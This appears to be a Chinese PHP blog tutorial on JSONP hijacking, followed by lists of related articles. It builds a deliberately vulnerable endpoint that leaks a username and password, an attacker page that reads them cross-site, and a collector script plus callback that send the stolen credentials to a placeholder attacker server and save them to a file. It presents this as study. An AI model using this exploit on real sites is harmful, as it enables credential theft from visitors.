Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
PHP 和 COM
Oct 09 PHP
用PHP编写PDF文档生成器
Oct 09 PHP
理解PHP5中static和const关键字的区别
Mar 19 PHP
常见的PHP五种设计模式小结
Mar 23 PHP
2014年最新推荐的10款 PHP 开发框架
Aug 01 PHP
php实现按指定大小等比缩放生成上传图片缩略图的方法
Dec 15 PHP
php限制ip地址范围的方法
Mar 31 PHP
PHP实现简单搜歌的方法
Jul 28 PHP
php中preg_replace正则替换用法分析【一次替换多个值】
Jan 17 PHP
ThinkPHP实现简单登陆功能
Apr 28 PHP
PHP格式化显示时间date()函数代码
Oct 03 PHP
PHP实现cookie跨域session共享的方法分析
Aug 23 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
强烈推荐:php.ini中文版(2)
2006/10/09 PHP
coreseek 搜索英文的问题详解
2013/06/08 PHP
php生成图形验证码几种方法小结
2013/08/15 PHP
php模仿asp Application对象在线人数统计实现方法
2015/01/04 PHP
jquery+php实现导出datatables插件数据到excel的方法
2015/07/06 PHP
[原创]php求圆周率的简单实现方法
2016/05/30 PHP
JavaScript Memoization 让函数也有记忆功能
2011/10/27 Javascript
深入理解JavaScript中的箭头函数
2015/07/28 Javascript
JS更改select内option属性的方法
2015/10/14 Javascript
Backbone.js框架中Model与Collection的使用实例
2016/05/07 Javascript
angularJS+requireJS实现controller及directive的按需加载示例
2017/02/20 Javascript
使用node.js搭建服务器
2017/05/20 Javascript
laravel5.4+vue+element简单搭建的示例代码
2017/08/29 Javascript
JavaScript基础之流程控制语句的用法
2017/08/31 Javascript
vue init webpack 建vue项目报错的解决方法
2018/09/29 Javascript
vue-awesome-swiper 基于vue实现h5滑动翻页效果【推荐】
2018/11/08 Javascript
原生JS 实现的input输入时表格过滤操作示例
2019/08/03 Javascript
JavaScript 接口原理与用法实例详解
2020/05/12 Javascript
[01:46]2020完美世界全国高校联赛秋季赛报名开启
2020/10/15 DOTA
wxPython窗口的继承机制实例分析
2014/09/28 Python
python通过imaplib模块读取gmail里邮件的方法
2015/05/08 Python
Python json 错误xx is not JSON serializable解决办法
2017/03/15 Python
对numpy中array和asarray的区别详解
2018/04/17 Python
python每天定时运行某程序代码
2019/08/16 Python
解决Jupyter无法导入已安装的 module问题
2020/04/17 Python
协程Python 中实现多任务耗资源最小的方式
2020/10/19 Python
python爬取股票最新数据并用excel绘制树状图的示例
2021/03/01 Python
CSS类名支持中文命名的示例
2014/04/04 HTML / CSS
在HTML5中使用MathML数学公式的简单讲解
2016/02/19 HTML / CSS
视图的作用
2014/12/19 面试题
大学生预备党员自我评价分享
2013/11/16 职场文书
全运会口号
2014/06/20 职场文书
工厂清洁工岗位职责
2015/02/14 职场文书
建筑安全员岗位职责
2015/02/15 职场文书
2015年保险公司工作总结
2015/04/24 职场文书
2016年小学党支部创先争优活动总结
2016/04/05 职场文书